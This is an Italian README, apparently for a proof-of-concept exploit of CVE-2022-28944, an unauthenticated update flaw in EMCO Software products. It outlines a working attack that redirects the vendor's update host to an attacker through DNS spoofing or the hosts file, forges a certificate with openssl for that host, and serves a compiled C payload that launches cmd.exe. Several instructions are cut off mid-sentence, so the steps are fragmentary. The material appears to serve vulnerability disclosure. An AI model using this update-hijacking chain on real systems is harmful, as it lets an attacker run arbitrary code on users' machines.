gar-re/cve-2022-28944Exploit proof-of-concept per l'esecuzione remota di codice non autenticata nei prodotti EMCO Software tramite spoofing DNS e iniezione di aggiornamenti dannosi.
Vulnerabilità di esecuzione remota di codice in più prodotti EMCO Software tramite aggiornamento non autenticato.
Uso: python3 cve-2022-28944_poc.py
Dettagli nel report su gerr.re.
storage.emcosoftware.com verso l'IP dell'attaccante;
c:\windows\system32\drivers\etc\hosts sul target.
proof.c sull'attaccante, ad esempio usando i686-w64-mingw32-gcc proof.c -o proof.exe;#include <windows.h>
int main(int argc, char const *argv[]){
WinExec("cmd.exe",1);
return TRUE;
}
openssl req -new -x509 -keyout storage.emcosoftware.com.pem -out storage.emcosoftware.com.pem -days 365 -nodes -subj "/CN=storage.emcosoftware.com"